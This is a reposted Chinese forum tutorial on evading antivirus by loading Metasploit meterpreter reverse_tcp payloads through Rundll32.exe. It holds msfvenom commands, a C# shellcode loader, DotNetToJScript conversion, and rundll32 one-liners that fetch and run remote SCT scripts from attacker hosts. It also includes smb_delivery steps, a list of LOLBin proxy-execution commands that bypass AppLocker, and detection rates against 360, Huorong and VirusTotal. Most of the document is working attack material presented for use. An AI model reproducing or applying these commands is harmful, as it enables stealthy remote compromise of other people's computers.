本帖最后由 Martini 于 2020-3-8 18:59 编辑
转自微信公众号Tide安全团队
免杀能力一览表 几点说明: 1、表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。 2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。 4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为杀软查杀能力或免杀能力的判断指标。 5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。 6、由于白名单程序加载payload的免杀测试需要杀软的行为检测才合理,静态查杀payload或者查杀白名单程序都没有任何意义,所以这里对白名单程序的免杀效果不做评判。
一、Rundll32.exe介绍
Rundll32.exe,可以执行32位的DLL文件,以命令行的方式调用动态链接程序库。。它的作用是执行DLL文件中的内部函数,这样在进程当中,只会有Rundll32.exe,而不会有DLL后门的进程,这样就实现了进程上的隐藏。系统中还有一个Rundll.exe文件,可以执行16位的DLL文件。 DLL文件对于Window的操作系统非常重要,它还决定了自定义Windows的其他程序的运行。动态链接库(DLL)文件是一种文件类型,它向其他程序提供有关如何调用某些内容的指令。因此,多个软件甚至可以同时共享这样的DLL文件。尽管与.exe文件的格式相同,但DLL文件不能像.exe文件那样直接执行。dll文件扩展名可以是:.dll(动态链接库)、.ocx(ActiveX控件)、.cpl(控制面板)、.drv(设备驱动程序)。 Rundll32.exe令行下的使用方法为:Rundll32.exe DLLname,Functionname,需注意x86,x64位的Rundll32调用,64位的系统默认调用的是64位Rundll32.exe(在C:\Windows\System32目录下)。 Windows 7 默认位置: - <div>64位 C:\Windows\System32\rundll</div><div>32.exe32位 C:\Windows\SysWOW64\rundll32.exe</div>
复制代码
使用Rundll32.exe加载payload主要依赖于你加载的payload所做的免杀,我这只是列出来Rundll32.exe的3个常用的场景,至于对dll或sct文件的免杀,则需要你自己去尝试了。 由于Rundll32.exe被各大杀软都盯的比较紧了,而加载payload的免杀测试需要杀软的行为检测才合理,静态查杀dll或者sct或者Rundll32.exe文件自身都没有任何意义,所以本文对Rundll32.exe的免杀效果不做衡量,以第一种sct文件的免杀率作为参考。 二、使用Rundll32.exe执行payload 2.1 远程加载SCT文件(VT免杀率22/58)
1、首先用msfvenom生成基于csharp的shellcode,我这是生成的x86的,注意这个要和后面rundll32的版本相一致。
- msfvenom -p windows/meterpreter/reverse_tcp -a x86 -f csharp -b "\x00\xff" LHOST=10.211.55.2 LPORT=3333 -o shell_x86.csharp
复制代码
2、然后在vs2017中创建C#的Console工程,.Net版本建议2.0,这样兼容性好一些,如果选了net 4.0。其他电脑上没有装4.0的话可能就没法运行了。
代码如下,把shell_x86.csharp内容放到相应MsfPayload位置。- using System.Threading;
- using System.Runtime.InteropServices;
- namespace MSFWrapper
- {
- public class Program
- {
- public Program()
- {
- RunMSF();
- }
- public static void RunMSF()
- {
- byte[] MsfPayload = {
- 0xbb,---shellcode here---0x1e };
- IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
- Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
- CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
- Thread.Sleep(2000);
- }
- public static void Main()
- {
- }
- [DllImport("kernel32.dll")]
- public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
- [DllImport("kernel32.dll")]
- public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
- }
- }
复制代码
修改一下项目属性,设置启动对象为MSFWrapper
编译生成exe,我这生成的就是默认的ConsoleApp2.exe
3.将exe转换为脚本文件
这时候需要一个工具DotNetToJScript 将上面生成的ConsoleApp2.exe复制到DotNetToJScript目录下,执行命令生成msf_x86.sct文件 - DotNetToJScript.exe -m -o=msf_x86.sct -c=MSFWrapper.Program -v 4 -d ConsoleApp2.exe
复制代码
看下msf_x86.sct文件内容,发现和亮神博客上提供了sct代码是一样的。
4、将msf_x86.sct文件放在自己的web服务器上,我的是http://10.211.55.2/msf_x86.sct
在msf中监听 然后在测试机执行- <div align="left"><font color="#4a4a4a"></font></div><div align="left">C:\Windows\SysWOW64\rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();GetObject("script:<a href="http://10.211.55.2/msf_x86.sct" target="_blank">http://10.211.55.2/msf_x86.sct</a>")</div>
复制代码
发现火绒的行为检测会预警 火绒放行后可正常执行 msf正常上线 virustotal.com上msf_x86.sct文件查杀率为22/58
2.2 利用smb_delivery(VT免杀率61/69)
Metasploit包含SMB Delivery模块,可生成恶意dll文件。该模块通过SMB服务器提供有效负载,并提供检索和执行生成的有效负载的命令。目前支持DLL和Powershell。 在msf中执行 - <div>use exploit/windows/smb/smb_delivery</div><div>msf exploit(windows/smb/smb_delivery) > set srvhost 10.211.55.24</div><div>msf exploit(windows/smb/smb_delivery) > exploit</div>
复制代码
在测试机器上执行
- rundll32.exe \\10.211.55.24\MUsmJ\test.dll,0
复制代码
发现360和火绒都会报警,不过360杀毒没有反应。
msf中可正常上线
virustotal.com上test.dll文件查杀率为61/69,没做免杀,肯定被查杀的很厉害。
2.3 MSFVenom生成dll(VT免杀率57/70)
利用msfvenom可以直接生成dll文件 - msfvenom -p windows/meterpreter/reverse_tcp lhost=10.211.55.2 lport=3333 -e x86/shikata_ga_nai -i 15 -b '\x00' -f dll -o test.dll
复制代码
然后将test.dll拷贝到测试机器上,在测试机上执行 - rundll32 shell32.dll,Control_RunDLL c:\test\test.dll
复制代码
发现360和火绒都会报警 msf中可正常上线 virustotal.com上test.dll文件查杀率为57/70,这种msf原生态的dll居然还有没查杀出来的..
三、Rundll32的使用
参考自ATT&CK手册。 1)直接执行dll文件 - rundll32.exe c:\\windows\\debug\\item.dat,ServiceMain aaaa
- rundll32.exe "C:\Windows\twain_64.dll",EntryPoint
复制代码
2)调用系统中原生存在的dll中的未记录dll函数 2.1)调用shell32.dll函数执行控制面板项文件(.cpl)
- rundll32 shell32.dll,Control_RunDLL <文件名>
- control.exe test.cpl
复制代码
2.2)Advpack.dll - LaunchINFSection advpack.dll用于帮助硬件和软件读取和验证·INF文件。正如老话所说,”大部分安全问题本质就是功能被误用“,advpack.dll也可以被攻击者利用进行代码/指令代理执行,
- rundll32.exe advpack.dll,LaunchINFSection c:\test.inf,DefaultInstall_SingleUser,1,
- C:\\Windows\\System32\\rundll32 advpack.dll,LaunchINFSectionEx C:\\Windows\\system32\\ieuinit.inf,Install
- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: Yes
复制代码
2.3)Advpack.dll - RegisterOCX
- rundll32.exe advpack.dll,RegisterOCX calc.exe
- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: Yes
复制代码
2.4)zipfldr.dll - RouteTheCall
- rundll32.exe zipfldr.dll,RouteTheCall calc.exe
复制代码
2.5)url.dll - OpenURL
- rundll32 url.dll,OpenURL file://C:/Windows/system32/calc.exe
- rundll32.exe url.dll,OpenURL "C:\test\calc.hta"
- rundll32.exe url.dll,OpenURL "C:\test\calc.url"
- rundll32.exe url.dll,OpenURL <a href="http://192.168.1.4/Micropoor_url_dll.hta" target="_blank">http://192.168.1.4/Micropoor_url_dll.hta</a>
复制代码
2.6)url.dll - FileProtocolHandler
- rundll32.exe url.dll, FileProtocolHandler calc.exe
复制代码
2.7)ieframe.dll - OpenURL
- rundll32.exe ieframe.dll,OpenURL "C:\test\calc.url"
复制代码
2.8)shdocvw.dll - OpenURL
- rundll32.exe shdocvw.dll,OpenURL "C:\test\calc.url"
复制代码
2.9)ieadvpack.dll - LaunchINFSection
- rundll32.exe ieadvpack.dll,LaunchINFSection test.inf,,1,
复制代码
2.10)shell32.dll - ShellExec_RunDLL - rundll32.exe shell32.dll,ShellExec_RunDLL C:\Windows\System32\calc.exe
复制代码
2.11)pcwutl.dll - LaunchApplication
- rundll32.exe C:\Windows\System32\pcwutl.dll,LaunchApplication calc.exe
复制代码
2.12)Setupapi.dll - InstallHinfSection
- # Launch an executable file via the InstallHinfSection function and .inf file section directive.
- rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 C:\\Tools\\calc_exe.inf
复制代码
2.13)Syssetup.dll - SetupInfObjectInstallAction
- # Launch an executable file via the SetupInfObjectInstallAction function and .inf file section directive.
- rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\temp\something.inf
复制代码
3)执行javascript脚本
- rundll32 javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:<a href="http://reverse-tcp.xyz/payload.sct" target="_blank">http://reverse-tcp.xyz/payload.sct</a>");window.close();
- rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject("WScript.Shell");w.run("calc");window.close()");
- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
复制代码
四、参考资料
|